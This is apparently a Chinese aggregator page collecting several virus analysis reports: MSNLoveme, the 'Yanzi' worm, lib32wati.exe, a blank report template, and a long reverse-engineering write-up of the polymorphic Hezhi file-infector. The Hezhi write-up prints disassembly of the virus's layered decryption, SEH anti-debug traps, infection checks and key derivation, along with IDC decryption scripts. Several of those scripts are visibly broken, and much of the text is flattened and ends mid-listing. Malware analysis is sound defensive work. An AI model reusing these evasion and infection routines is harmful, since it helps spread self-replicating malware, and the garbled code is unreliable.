【导语】“ni520”通过精心收集,向本站投稿了16篇MSN爱你(Worm.MSNLoveme) 蠕虫病毒分析报告病毒防范,下面是小编为大家整理后的MSN爱你(Worm.MSNLoveme) 蠕虫病毒分析报告病毒防范,如果喜欢可以分享给身边的朋友喔!
- 目录
- 第1篇:MSN爱你(Worm.MSNLoveme) 蠕虫病毒分析报告病毒防范第2篇:“燕子”(Worm.Yanz.b)蠕虫病毒分析报告病毒防范第3篇:蠕虫病毒lib32wati.exe系列分析病毒防范第4篇:蠕虫病毒lib32wati.exe系列分析病毒防范第5篇:病毒分析报告病毒防范第6篇:hezhi病毒分析报告病毒防范第7篇:FakeDebuggerd Android rootkit分析报告病毒防范第8篇:FakeDebuggerd Android rootkit分析报告病毒防范第9篇:FakeDebuggerd Android rootkit分析报告病毒防范第10篇:FakeDebuggerd Android rootkit分析报告病毒防范第11篇:FakeDebuggerd Android rootkit分析报告病毒防范第12篇:FakeDebuggerd Android rootkit分析报告病毒防范第13篇:FakeDebuggerd Android rootkit分析报告病毒防范第14篇:FakeDebuggerd Android rootkit分析报告病毒防范第15篇:恶鹰变种AT病毒分析报告病毒防范第16篇:Android病毒分析报告 Andorid新病毒“UkyadPay”病毒防范
篇1:MSN爱你(Worm.MSNLoveme) 蠕虫病毒分析报告病毒防范
病毒名称:Worm.MSNLoveme
病毒别名:W32.Bropia[诺顿]、WORM_BROPIA.A[趋势]、Worm.MSN.Bropia.a[瑞星]
处理时间:2005-01-20
中文名称:MSN爱你
病毒类型:未知
威胁级别:
影响系统:
病毒行为:
该病毒通过MSN通讯工具进行传播,用户运行后在会释放一个Rbot后门程序,
从而控制感染机器。该病毒还会禁止用户使用资源管理器、CMD.EXE命令行程序,
及鼠标右键。并且会将感染机器的音量调到零,使用户无法听到声音。
1、将自身复制系统根目录下,并使用以下文件名之一:
Drunk_lol.pif
Webcam_004.pif
sexy_bedroom.pif
naked_party.pif
love_me.pif
2、查找系统目录中是否存在以下文件
adaware.exe
VB6.EXE
lexplore.exe
Win32.exe
如果不存在,则释放一个后门:
oms.exe(Win32.Hack.Rbot,大小为119296)
3、蠕虫会运行这个后门,
后门运行后会向注册表中添加如下键值:
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
“lexplore” = “lexplore.exe”
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices
“lexplore” = “lexplore.exe”
HKEY_CURRENT_USER\\Software\\Microsoft\\OLE
“lexplore” = “lexplore.exe”
以在启动计算机时,自动运行后门。
4、后门会将自身复制到
%System%\\lexplore.exe
并删除源文件。
5、禁止使用 任务管理器、CMD命令,和鼠标右键。并会将感染机器的音量调到零,
使用户无法听到声音。
6、在用户打开MSN聊天对话框时,会自动向对方发送病毒自身。
发送的文件名可能为以下之一:
Drunk_lol.pif
Webcam_004.pif
sexy_bedroom.pif
naked_party.pif
love_me.pif
7、由于病毒是没有考虑中文操作系统,所以在中文操作系统中会弹出对话框,
但不会自动向外发送
篇2:“燕子”(Worm.Yanz.b)蠕虫病毒分析报告病毒防范
病毒名称:Worm.Yanz.b
中文名称:燕子
威胁级别:中
病毒类型:蠕虫
受影响系统:Win9x / WinNT
发现时间:11月24日
病毒简介:
该病毒通过共享、电子邮件等多种方式传播,病毒的文件名仿冒孙燕姿的的歌曲
(如:Huai_Tian_Qi Tao_Wang),诱使用户打开运行,打开后会弹出一个
“No Windows. Yes doors and holes”内容的对话框,
病毒还会尝试从网上下载一个键盘记录木马,窃取用户的信息。
技术特点:
1、在创建如下文件:
C:\\Yanzi.htm
%SystemRoot%\\Sun_YanZI.zip(为含有病毒的压缩包,包内的名称为:Sun_Yan_Zi-Shen_Qi.mp3.pif)
%System%\\Dong_Shi.exe (病毒自身拷贝)
%System%\\NvCpl.EXE(病毒自身拷贝)
%System%\\I_am_Sun_Yanzi.sysa(MIME编码的病毒)
%System%\\Huai_Tian_Q1.sys (包含有病毒的MIME的压缩包)
YanZi.vbs(生成Sun.exe)文件
2、在注册表主键:
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
添加如下键值
“NvCpl”=%System%\\NvCpl.EXE
3、在所有含有SHAR的文件夹内复制自身,文件名可能如下之一:
SunYanZi.mp3.exe
Sun_YanZi-Huai_Tian_Qi.mpg.exe
Sun_YanZi-I_am_not_sad.mp3.exe
Sun_YanZi-Leave_me_alone.mp3.exe
Sun_YanZi-Mei_You_Ren_De_Fang_Xiang.avi.exe
Sun_YanZi-Shen_Qi.exe
Sun_YanZi-Tao_Wang.mpeg.exe
YanZi.Mp3.exe
YanZi_SuN-forever.mp3.exe
4、创建Stefanie Sun Yanzi互斥量。
5、在如下文件中搜索电子邮件:
.adb
.asp
.dbx
.doc
.htm
.html
.jsp
.rtf
.txt
.xml
6、过滤含有以下字符的邮件地址:
@aksam
@dostmail
@e-kolay
@erdemir
@erdemironline
@hurriyetim
@milliyet
@mynet
@ntvmsnbc
@posta
@sabah
@superonline
7、邮件来自为以下之一:
Asia_Singer
Great_Asia_Singer
Stefanie Sun Yanzi
Sun_YanZi
Sun_YanZi_Hayrani
Sun_Yan_Zi
8、邮件主题为以下之一:
Forever Sun Yanzi
Great_Asia_Singer
Hoscakal
I_hate_Spyware
SuN_YanZi_innocent
Sun-YanZi-Mp3-Archive
Sun_YanZi_Hayrani
9、邮件内容为以下之一:
I can not contact you. Because, I am far to you(Turkiye)
I want to meet Sun YanZi. I am loving Sun-YanZi's Magic. Call me YanZi. But you don't contact me(Turkiye).
I want to see Sun YanZi. Call me Sun Yan Zi ;)
My Favourite Singer is Stefanie Sun Yanzi
Please listen to me Stefanie Sun Yanzi.
You must to listen Sun Yanzi. I am enjoying to listen Sun YanZi.
10、附件名为以下之一:
Sun_YanZi
Huai_Tian_Qi
Sun_Yanzi_Mp3
Great_Asia_Singer
World_Tour_Sun_YanZi
11、附件扩展名为以下之一:
.zip
.scr
.pif
12、Sun.exe会尝试从网上(sunyanzi.*******.cn/****.exe)下载一个键盘记录器(Win32.Troj.AKL)用于记录用户键盘,
篇3:蠕虫病毒lib32wati.exe系列分析病毒防范
通过分析发现,该病毒为传播性很强的蠕虫,分析时,发作的为lib32wati.exe这个程序,通过扫描135、1433、8080端口的弱口令进行传播,
同时,该蠕虫是使用.NET编写,具有较强的躲避杀软查杀能力。不联网不发作,一旦连接互联网,即开始向互联网发送大量数据(一分钟左右抓包70M),造成网络设备CPU利用率提高,网络延迟等现象。
篇4:蠕虫病毒lib32wati.exe系列分析病毒防范
4月16日发现此病毒后,将病毒提交给趋势,4月19日再查看数据,显示已经可以查杀,但瑞星等其他杀毒软件还是木有反应。
篇5:病毒分析报告病毒防范
以前做病毒分析时整理的一个比较简单的报告模板,仅参考:
#
# by:∮明天去要饭
# yaofan.me
#
+——————————————————–+
+ 样本个数: x 个 +
+ 提交日期: 200X-XX-XX +
+ 样本提交: XXX +
+——————————————————–+
1. 目录
+ 文件夹
├ xxx1.exe <—– xxx1的说明
├ xxx2.exe <—– xxx2的说明
2. 详细内容
+——————————————————–+
+ 样本编号: 2.1 +
+ 样本名称: xxx.exe +
+ 样本大小: xxx 字节 +
+ 样本MD5 : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +
+——————————————————–+
1. 进程
创建(隐藏)进程:
%SYSTEMROOT%\\system32\\xxx.exe user
2. 文件行为
释放如下文件:
%SYSTEMROOT%\\system32\\xxxadd1.exe
%SYSTEMROOT%\\system32\\xxxadd2.exe
删除如下文件:
%SYSTEMROOT%\\system32\\xxxdel1.exe
%SYSTEMROOT%\\system32\\xxxdel2.exe
感染如下文件:
%SYSTEMROOT%\\system32\\xxxappend1.exe
%SYSTEMROOT%\\system32\\xxxappend2.exe
3. 网络行为
3.1 解析域名
www.xxx.com —–>xxx.xxx.xxx.xxx
3.2 数据交互
访问如下链接:
www.xxx.com/xxx.exe
4. 启动方式4.1 系统服务
显示名称: xxx
服 务 名: xxx
服务描述: xxx
文件路径: %SYSTEMROOT%\\system32\\xxx.exe
启动类型: 自动
4.2 注册表
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
下添加如下项/键:
项/键名: xxx
路径: %SYSTEMROOT%\\system32\\xxxadd1.exe
5. 自我保护
5.1 注入到xxx进程
5.2 自动关闭xxx杀毒软件或防火墙
6. 总结
该样本是/不是恶意软件.
篇6:hezhi病毒分析报告病毒防范
作者:haiwei/CVC.GB
Hezhi病毒是去年分析一个病毒,下面是分析报告,由于xxx原因杀毒程序不能公布(其实分析报告应该写得比较清楚了,哈)
写杀变形病毒的程序, 首先是要解决怎么查这个病毒(把病毒的变形引擎分析透彻一点,它怎么变你就怎么查),然后才是杀(好像是废话:))
hezhi病毒分析报告
haiwei/CVC.GB
关键字:
变形\\病毒\\感染\\AntiDebug
分析工具:
OD(动态)\\IDA(静态)
分析目标:
1.样本MD5值:a7be1177766cec09d7e914ea7985c723
2.病毒名称:Win32.Hezhi
难度:中
病毒简介:
1.这是一个基于poly技术的病毒,病毒代码经过五层加密,且key为动态的.
2.感染在宿主程序的节空隙,如果没有足够的空隙,则增加最后一节的节大小.
3.加密原宿主代码.
4.病毒代码中有多处SEH陷井来反动态调试
病毒执行流程:
1.第一次解密
004087D3 0F 84 87 EF FF FF jz near ptr loc_40775F+1
.text:004087D9 50 push eax
.text:004087DA E8 00 00 00 00 call $+5
.text:004087DF 58 pop eax
.text:004087E0 58 pop eax
.text:004087E1 BE 00 00 09 02 mov esi, 2090000h \\\\关键
.text:004087E6 50 push eax
.text:004087E7 13 C3 adc eax, ebx
.text:004087E9 1B C3 sbb eax, ebx
.text:004087EB 58 pop eax
.text:004087EC B8 0C 03 00 00 mov eax, 30Ch
.text:004087F1 57 push edi
.text:004087F2 F7 D7 not edi
.text:004087F4 0F 03 F8 lsl edi, eax
.text:004087F7 5F pop edi
.text:004087F8 81 C0 3A 2E 00 00 add eax, 2E3Ah
.text:004087FE 57 push edi
.text:004087FF F7 D7 not edi
.text:00408801 0F 03 F8 lsl edi, eax
.text:00408804 5F pop edi
.text:00408805 C1 C6 1D rol esi, 1Dh \\\\经过这条指令Esi为待解密代码的
\\\\起始地址
.text:00408808 51 push ecx
.text:00408809 81 C1 19 39 D0 DB add ecx, 0DBD03919h
.text:0040880F 59 pop ecx
.text:00408810
.text:00408810 loc_408810: ; CODE XREF: start+D0j
.text:00408810 81 34 30 DA 0C 03 D2 xor dword ptr [eax+esi], 0D2030CDAh \\\\Key
.text:00408817 F5 cmc
.text:00408818 F5 cmc
.text:00408819 90 nop
.text:0040881A 90 nop
.text:0040881B 48 dec eax
.text:0040881C 50 push eax
.text:0040881D E8 00 00 00 00 call $+5
.text:00408822 58 pop eax
.text:00408823 58 pop eax
.text:00408824 7D EA jge short loc_408810 \\\\循环
.text:00408826 57 push edi
.text:00408827 F7 D7 not edi
.text:00408829 0F 03 F8 lsl edi, eax
.text:0040882C 5F pop edi
.text:0040882D FF E6 jmp esi \\\\跳到已解密代码执行
下面为小弟写的IDC解密脚本:
auto RegEsi;
auto Key;
auto RegEax;
RegEsi=0x412000;
Key=0xd2030cda;
RegEax=0x3146;
for (;RegEax>=0;RegEax--)
{
Data=Dword(RegEax+RegEsi)^Key;
PatchDword(RegEax+RegEsi,Data);
}
在OD里可以把代码直接拉到JMP XX处 F4(XX可变),在这个例子样本中为JMP Esi
2.第二次解密
JMP Esi来到412000,该处代码如下
00412002 50 PUSH EAX
00412003 E8 00000000 CALL CLSPACK1.00412008
00412008 58 POP EAX
00412009 83C0 1A ADD EAX,1A
0041200C 50 PUSH EAX ; CLSPACK1.00412022
0041200D 64:67:FF36 0000 PUSH DWORD PTR FS:[0] \\\\这里很明显是一个SEH陷井
00412013 64:67:8926 0000 MOV DWORD PTR FS:[0],ESP
00412019 B8 FFFFFFFF MOV EAX,-1
0041201E FFE0 JMP EAX \\\\故意产生异常
00412020 FFE0 JMP EAX
00412022 64:67:A1 0000 MOV EAX,DWORD PTR FS:[0] \\\\在这个位置F2下断点,F9,出现异常
\\\\出现异常后按shift+F9到412022断点处停下
00412027 8B20 MOV ESP,DWORD PTR DS:[EAX]
00412029 64:67:8F06 0000 POP DWORD PTR FS:[0]
0041202F 58 POP EAX \\\\这几条指令在恢复SEH
00412030 58 POP EAX
00412031 60 PUSHAD
00412032 E8 00000000 CALL CLSPACK1.00412037
00412037 58 POP EAX
00412038 BE 82104000 MOV ESI,CLSPACK1.00401082
0041203D BB 37104000 MOV EBX,CLSPACK1.00401037
00412042 2BF3 SUB ESI,EBX
00412044 03F0 ADD ESI,EAX \\\\Esi为解密起始地址
00412046 BB C4300000 MOV EBX,30C4 \\\\解密长度
0041204B 81341E 30C87B80 XOR DWORD PTR DS:[ESI+EBX],807BC830 \\\\Key
00412052 9C PUSHFD
省略若干垃圾指令
0041207D 9D POPFD
0041207E 4B DEC EBX
0041207F ^7D CA JGE SHORT CLSPACK1.0041204B \\\\循环
00412081 61 POPAD \\\\在OD中把光标停在这F4
下面是第二次解密IDC脚本:
auto RegEsi;
auto Key;
auto RegEax;
auto Data;
RegEsi=0x412082;
Key=0x807bc830;
RegEax=0x30c4;
for (;RegEax>=0;RegEax--)
{
Data=Dword(RegEax+RegEsi)^Key;
PatchDword(RegEax+RegEsi,Data);
}
3.第三次解密
00412089 BE CC104000 MOV ESI,<&KERNEL32.RtlUnwind>
0041208E BB 88104000 MOV EBX,<&KERNEL32.ExitProcess>
00412093 2BF3 SUB ESI,EBX
00412095 03F0 ADD ESI,EAX \\\\解密起始地址
00412097 B9 1F0C0000 MOV ECX,0C1F \\\\长度
0041209C 8B06 MOV EAX,DWORD PTR DS:[ESI]
0041209E F7D0 NOT EAX \\\\解密
004120A0 8906 MOV DWORD PTR DS:[ESI],EAX
004120A2 83C6 04 ADD ESI,4
省略若干垃圾代码
004120C9 ^E2 D1 LOOPD SHORT CLSPACK1.0041209C
004120CB 61 POPAD \\\\光标停在这,F4
下面是第三次解密的IDC脚本:
auto RegEsi;
auto RegEax;
auto i;
auto Data;
RegEsi=0x4120cc;
RegEax=0xc1f;
for (i=0;i { Data=~Dword(i+RegEsi); PatchDword(i+RegEsi,Data); } 4.第四解密 004120D8 64:67:FF36 0000 PUSH DWORD PTR FS:[0] 004120DE 64:67:8926 0000 MOV DWORD PTR FS:[0],ESP \\\\又是一个SEH陷井 004120E4 B0 88 MOV AL,88 004120E6 02C0 ADD AL,AL 004120E8 CE INTO \\\\产生异常 004120E9 FFE0 JMP EAX 004120EB 64:67:A1 0000 MOV EAX,DWORD PTR FS:[0] 004120F0 8B20 MOV ESP,DWORD PTR DS:[EAX] 004120F2 64:67:8F06 0000 POP DWORD PTR FS:[0] 004120F8 58 POP EAX 004120F9 58 POP EAX 004120FA E8 00000000 CALL CLSPACK1.004120FF 004120FF 58 POP EAX 00412100 BE 1F114000 MOV ESI,CLSPACK1.0040111F 00412105 BB FF104000 MOV EBX,CLSPACK1.004010FF 0041210A 2BF3 SUB ESI,EBX 0041210C 03F0 ADD ESI,EAX \\\\解密起始地址 0041210E B9 0A0C0000 MOV ECX,0C0A \\\\长度 00412113 8106 B2C430E1 ADD DWORD PTR DS:[ESI],E130C4B2 \\\\Key 00412119 83C6 04 ADD ESI,4 0041211C ^E2 F5 LOOPD SHORT CLSPACK1.00412113 0041211E 61 POPAD \\\\这里F2下断点,F9,Shift+F9 停在这 下面是第四次解密的IDC脚本: auto RegEsi; auto Key; auto RegEax; auto i; auto Data; RegEsi=0x41211f; Key=0xe130c4b2; RegEax=0xc0a; for (i=0;i { Data=Dword(i+RegEsi)+Key; PatchDword(i+RegEsi,Data); } 5.第五次解密 00412126 58 POP EAX 00412127 83C0 1B ADD EAX,1B 0041212A 50 PUSH EAX 0041212B 64:67:FF36 0000 PUSH DWORD PTR FS:[0] \\\\SEH陷井 00412131 64:67:8926 0000 MOV DWORD PTR FS:[0],ESP 00412137 B8 FFFFFFFF MOV EAX,-1 0041213C C600 CC MOV BYTE PTR DS:[EAX],0CC \\\\产生异常 0041213F FFE0 JMP EAX 00412141 64:67:A1 0000 MOV EAX,DWORD PTR FS:[0] 00412146 8B20 MOV ESP,DWORD PTR DS:[EAX] 00412148 64:67:8F06 0000 POP DWORD PTR FS:[0] \\\\恢复SEH 0041214E 58 POP EAX 0041214F 58 POP EAX 00412150 E8 00000000 CALL CLSPACK1.00412155 00412155 58 POP EAX 00412156 BE 76114000 MOV ESI,CLSPACK1.00401176 0041215B BB 55114000 MOV EBX,CLSPACK1.00401155 00412160 2BF3 SUB ESI,EBX 00412162 03F0 ADD ESI,EAX \\\\解密起始地址 00412164 B9 F50B0000 MOV ECX,0BF5 \\\\长度 00412169 8B06 MOV EAX,DWORD PTR DS:[ESI] \\\\ 0041216B C1C0 10 ROL EAX,10 \\\\解密 0041216E 8906 MOV DWORD PTR DS:[ESI],EAX 00412170 83C6 04 ADD ESI,4 00412173 ^E2 F4 LOOPD SHORT CLSPACK1.00412169 00412175 61 POPAD \\\\这里F2下断点,F9,Shift+F9 停在这 下面是第五次解密的IDC脚本: auto RegEsi; auto RegEax; auto i; auto Data,Temp1,Temp2; RegEsi=0x412176; RegEax=0xbf5; for (i=0;i { Temp1=Dword(i+RegEsi); Temp1=Temp1<<0x10; Temp1=Temp1&0xffff0000; Temp2=Dword(i+RegEsi); Temp2=Temp2>>0x10; Temp2=Temp2&0xffff; Data=Temp1|Temp2; PatchDword(i+RegEsi,Data); } 6.在当前进程堆中分配8000H字节空间,并把病毒代码复制过去,并跳到堆中执行 004122B4 50 PUSH EAX 004122B5 52 PUSH EDX 004122B6 68 00800000 PUSH 8000 004122BB 6A 09 PUSH 9 004122BD 53 PUSH EBX 004122BE FFD1 CALL ECX \\\\RtlAllocateHeap \\\\在进程堆中分配8000H字节空间 004122C0 8BC8 MOV ECX,EAX 004122C2 0BC0 OR EAX,EAX 004122C4 5A POP EDX 004122C5 58 POP EAX 004122C6 0F84 EA2D0000 JE CLSPACK1.004150B6 004122CC 50 PUSH EAX 004122CD 51 PUSH ECX 004122CE 51 PUSH ECX 004122CF 6A 09 PUSH 9 004122D1 53 PUSH EBX 004122D2 FFD2 CALL EDX 004122D4 3D 00800000 CMP EAX,8000 004122D9 0F85 D72D0000 JNZ CLSPACK1.004150B6 004122DF 59 POP ECX 004122E0 58 POP EAX 004122E1 57 PUSH EDI 004122E2 50 PUSH EAX 004122E3 8BF9 MOV EDI,ECX 004122E5 57 PUSH EDI 004122E6 B8 FC124000 MOV EAX,CLSPACK1.004012FC ; ASCII “runtime error ” 004122EB 2D 00104000 SUB EAX,<&ADVAPI32.RegSetValueExA> 004122F0 03C7 ADD EAX,EDI 004122F2 B9 4A310000 MOV ECX,314A \\\\需复制代码的长度 004122F7 FC CLD 004122F8 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] \\\\复制 004122FA FFE0 JMP EAX \\\\跳到堆中执行 7.判断当前系统中是否有一个名为“DELPHI”的事件,如果存在则转12 否则转8 则解密原宿主程序代码. 001364D0 68 04010000 PUSH 104 001364D5 8D87 54270000 LEA EAX,DWORD PTR DS:[EDI+2754] 001364DB 50 PUSH EAX 001364DC 6A 00 PUSH 0 001364DE FF97 912A0000 CALL DWORD PTR DS:[EDI+2A91] 001364E4 8D87 D8290000 LEA EAX,DWORD PTR DS:[EDI+29D8] 001364EA 50 PUSH EAX 001364EB 6A 01 PUSH 1 001364ED 68 03001F00 PUSH 1F0003 001364F2 FF97 952A0000 CALL DWORD PTR DS:[EDI+2A95] \\\\OpenEvent 001364F8 8987 5C290000 MOV DWORD PTR DS:[EDI+295C],EAX 001364FE 83F8 00 CMP EAX,0 00136501 74 0C JE SHORT 0013650F \\\\如果当前没有DELPHI事件则跳 \\\\这个跳转非常关键 \\\\它决定是走病毒流程还是原宿主程序的流程 00136503 50 PUSH EAX 00136504 FF97 792A0000 CALL DWORD PTR DS:[EDI+2A79] 0013650A E9 AF2B0000 JMP 001390BE 0013650F 8D87 D8290000 LEA EAX,DWORD PTR DS:[EDI+29D8] 00136515 50 PUSH EAX 00136516 6A 01 PUSH 1 00136518 6A 00 PUSH 0 0013651A 6A 00 PUSH 0 0013651C FF97 992A0000 CALL DWORD PTR DS:[EDI+2A99] \\\\CreateEvent 创建一个名为“DELPHI”的事件 00136522 8987 5C290000 MOV DWORD PTR DS:[EDI+295C],EAX 00136528 57 PUSH EDI 00136529 8D87 70290000 LEA EAX,DWORD PTR DS:[EDI+2970] 0013652F 50 PUSH EAX 00136530 FF97 ED2A0000 CALL DWORD PTR DS:[EDI+2AED] 00136536 5F POP EDI 00136537 8D87 60290000 LEA EAX,DWORD PTR DS:[EDI+2960] 0013653D 50 PUSH EAX 0013653E 8D87 70290000 LEA EAX,DWORD PTR DS:[EDI+2970] 00136544 50 PUSH EAX 00136545 6A 00 PUSH 0 00136547 6A 00 PUSH 0 00136549 6A 20 PUSH 20 0013654B 6A 00 PUSH 0 0013654D 6A 00 PUSH 0 0013654F 6A 00 PUSH 0 00136551 FF97 CD2A0000 CALL DWORD PTR DS:[EDI+2ACD] \\\\\\\\GetCommandLine 00136557 50 PUSH EAX 00136558 8D87 54270000 LEA EAX,DWORD PTR DS:[EDI+2754] 0013655E 50 PUSH EAX 0013655F FF97 852A0000 CALL DWORD PTR DS:[EDI+2A85] \\\\CreateProcess 自身全路径名 00136565 E8 00000000 CALL 0013656A 0013656A 58 POP EAX 0013656B 60 PUSHAD 0013656C 8D88 32000000 LEA ECX,DWORD PTR DS:[EAX+32] \\\\这是一个变相的SEH安装 00136572 51 PUSH ECX 00136573 66:8CDA MOV DX,DS 00136576 0FA0 PUSH FS 00136578 1F POP DS 00136579 BB 00000000 MOV EBX,0 0013657E FF33 PUSH DWORD PTR DS:[EBX] 00136580 8BEC MOV EBP,ESP 00136582 892B MOV DWORD PTR DS:[EBX],EBP 00136584 66:8EDA MOV DS,DX 00136587 57 PUSH EDI 00136588 FF97 E52A0000 CALL DWORD PTR DS:[EDI+2AE5] 0013658E 5F POP EDI 0013658F 57 PUSH EDI 00136590 6A 01 PUSH 1 00136592 50 PUSH EAX 00136593 FF97 E92A0000 CALL DWORD PTR DS:[EDI+2AE9] \\\\这里会产生异常 00136599 5F POP EDI 0013659A EB 0F JMP SHORT 001365AB 0013659C 33DB XOR EBX,EBX \\\\这里F2下断点,F9,shift+F9 0013659E 66:8CDA MOV DX,DS 001365A1 0FA0 PUSH FS 001365A3 1F POP DS 001365A4 8B03 MOV EAX,DWORD PTR DS:[EBX] 001365A6 66:8EDA MOV DS,DX 001365A9 8B20 MOV ESP,DWORD PTR DS:[EAX] 001365AB 33DB XOR EBX,EBX 001365AD 66:8CDA MOV DX,DS 8.枚举局域网共享资源,并感染之 9.查找C-Z的固定磁盘, a.其中包含:RUNDLL32\\RUNONCE\\RAV\\LSASS\\SERVICES\\WINLOGON\\SPOOLSV MSTASK\\RPCSS\\AVCONSOL字符串的文件不感染. b.小于8K的文件不感染. c.系统目录下的文件不感染. 10当找到一个EXE文件时,首先判断是否是合法的PE文件,然生判断是否是已经感染文件 (以PE文件结构中的TimeDateStamp+1处的两个字节是否等于C354H来判断),如果 等于则继续下一个文件.否则转11 11.具体的感染过程如下:(由于是在最后一次解密后DUMP出来的,所以地址跟OD中的不一样 但指令和代码功能是一样的) 另:加密病毒代码和原宿主程序代码的Key由原宿主程序TimeDateStamp算得 00412A60 66:837E 5C 02 CMP WORD PTR DS:[ESI+5C],2 \\\\WINDOWS系统 00412A65 0F85 7F040000 JNZ CLSPACK.00412EEA 00412A6B 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8] \\\\TimeDateStamp 00412A6E 83F8 00 CMP EAX,0 00412A71 75 21 JNZ SHORT CLSPACK.00412A94 \\\\在TimeDataStamp不为0的情况下用它用密钥,否则用E4C3542D为密钥 00412A73 B8 2D54C3E4 MOV EAX,E4C3542D \\\\密钥呀 E4C3542D 00412A78 C787 7F100000 CA>MOV DWORD PTR DS:[EDI+107F],2ACA 00412A82 C787 85100000 7C>MOV DWORD PTR DS:[EDI+1085],67C 00412A8C 8946 08 MOV DWORD PTR DS:[ESI+8],EAX 00412A8F E9 C3000000 JMP CLSPACK.00412B57 00412A94 8987 AA300000 MOV DWORD PTR DS:[EDI+30AA],EAX \\\\下面这段关键呀 00412A9A 50 PUSH EAX 00412A9B 53 PUSH EBX 00412A9C 35 DF6A45D3 XOR EAX,D3456ADF \\\\D3456ADF 00412AA1 8987 4A100000 MOV DWORD PTR DS:[EDI+104A],EAX 00412AA7 BB FFFAFFFF MOV EBX,-501 00412AAC 2BD8 SUB EBX,EAX 00412AAE 899F 50100000 MOV DWORD PTR DS:[EDI+1050],EBX 00412AB4 5B POP EBX 00412AB5 58 POP EAX 00412AB6 53 PUSH EBX 00412AB7 51 PUSH ECX 00412AB8 E8 FB060000 CALL CLSPACK.004131B8 \\\\\\(TimeDateStamp*0x7FFFFFFF+1)%-5=EAX 其中TimeDataStamp为EAX 00412ABD 8BD8 MOV EBX,EAX 00412ABF C1EB 08 SHR EBX,8 00412AC2 50 PUSH EAX 00412AC3 53 PUSH EBX 00412AC4 51 PUSH ECX 00412AC5 52 PUSH EDX 00412AC6 8BC3 MOV EAX,EBX 00412AC8 8BCB MOV ECX,EBX 00412ACA 25 FF000000 AND EAX,0FF 00412ACF 50 PUSH EAX \\\\这段代码应该是变形引擎的随机数选择段 00412AD0 C1E8 04 SHR EAX,4 00412AD3 24 07 AND AL,7 00412AD5 3C 05 CMP AL,5 00412AD7 76 02 JBE SHORT CLSPACK.00412ADB 00412AD9 2C 02 SUB AL,2 00412ADB 8AD8 MOV BL,AL 00412ADD 58 POP EAX 00412ADE 24 07 AND AL,7 00412AE0 3C 05 CMP AL,5 00412AE2 76 02 JBE SHORT CLSPACK.00412AE6 00412AE4 2C 04 SUB AL,4 00412AE6 38D8 CMP AL,BL 00412AE8 75 34 JNZ SHORT CLSPACK.00412B1E 00412AEA 8BD9 MOV EBX,ECX 00412AEC C1EB 08 SHR EBX,8 00412AEF 8BC3 MOV EAX,EBX 00412AF1 25 FF000000 AND EAX,0FF 00412AF6 50 PUSH EAX 00412AF7 C1E8 04 SHR EAX,4 00412AFA 24 07 AND AL,7 00412AFC 3C 05 CMP AL,5 00412AFE 76 02 JBE SHORT CLSPACK.00412B02 00412B00 2C 02 SUB AL,2 00412B02 8AD8 MOV BL,AL 00412B04 58 POP EAX 00412B05 24 07 AND AL,7 00412B07 3C 05 CMP AL,5 00412B09 76 02 JBE SHORT CLSPACK.00412B0D 00412B0B 2C 04 SUB AL,4 00412B0D 38D8 CMP AL,BL 00412B0F 75 0D JNZ SHORT CLSPACK.00412B1E 00412B11 3C 05 CMP AL,5 00412B13 74 04 JE SHORT CLSPACK.00412B19 00412B15 FEC3 INC BL 00412B17 EB 05 JMP SHORT CLSPACK.00412B1E 00412B19 80E2 03 AND DL,3 00412B1C 8ADA MOV BL,DL 00412B1E 83E0 07 AND EAX,7 00412B21 83E3 07 AND EBX,7 00412B24 83E1 07 AND ECX,7 00412B27 E8 6C050000 CALL CLSPACK.00413098 \\\\这个CALL根椐上面产生的随机数产生随机代码,(里面包含一张表) 00412B2C 5A POP EDX 00412B2D 59 POP ECX 00412B2E 5B POP EBX 00412B2F 58 POP EAX 00412B30 81E3 FF0F0000 AND EBX,0FFF 00412B36 899F 7F100000 MOV DWORD PTR DS:[EDI+107F],EBX 00412B3C B9 46310000 MOV ECX,3146 00412B41 2BCB SUB ECX,EBX 00412B43 898F 85100000 MOV DWORD PTR DS:[EDI+1085],ECX 00412B49 59 POP ECX 00412B4A 5B POP EBX 00412B4B 8987 8F100000 MOV DWORD PTR DS:[EDI+108F],EAX 00412B51 66:C746 09 54C3 MOV WORD PTR DS:[ESI+9],0C354 \\\\写入感染标志,这个位置为PE文件的TimeDateStamp处 00412B57 8B46 28 MOV EAX,DWORD PTR DS:[ESI+28] \\\\原AddressOfEntryPoint 00412B5A 8987 5F060000 MOV DWORD PTR DS:[EDI+65F],EAX \\\\呵呵,在解密后的病毒+65F处可以看见 可爱的入口地址 00412B60 8B46 38 MOV EAX,DWORD PTR DS:[ESI+38] \\\\SectionAlignment 00412B63 8987 942E0000 MOV DWORD PTR DS:[EDI+2E94],EAX 00412B69 8B46 34 MOV EAX,DWORD PTR DS:[ESI+34] \\\\ImageBase 00412B6C 8987 B2300000 MOV DWORD PTR DS:[EDI+30B2],EAX 00412B72 8D5E 18 LEA EBX,DWORD PTR DS:[ESI+18] \\\\Magic 00412B75 33D2 XOR EDX,EDX 00412B77 66:8B56 14 MOV DX,WORD PTR DS:[ESI+14] \\\\SizeOfOptionHeader 00412B7B 03DA ADD EBX,EDX \\\\EBX->第一个节表 00412B7D 33C9 XOR ECX,ECX 00412B7F 66:8B4E 06 MOV CX,WORD PTR DS:[ESI+6] \\\\NumberOfSections 00412B83 8B46 28 MOV EAX,DWORD PTR DS:[ESI+28] \\\\AddressofEntryPoint 00412B86 8B53 0C MOV EDX,DWORD PTR DS:[EBX+C] \\\\VirtualAddress 00412B89 3BC2 CMP EAX,EDX 00412B8B 72 07 JB SHORT CLSPACK.00412B94 \\\\如果AddressOfEntryPoint 00412B8D 0353 08 ADD EDX,DWORD PTR DS:[EBX+8] \\\\VirtualSize 00412B90 3BC2 CMP EAX,EDX 00412B92 76 18 JBE SHORT CLSPACK.00412BAC \\\\如果入口点在当前节中则跳 00412B94 83C3 28 ADD EBX,28 00412B97 ^E2 EA LOOPD SHORT CLSPACK.00412B83 00412B99 80BF A02E0000 01 CMP BYTE PTR DS:[EDI+2EA0],1 00412BA0 74 05 JE SHORT CLSPACK.00412BA7 00412BA2 E9 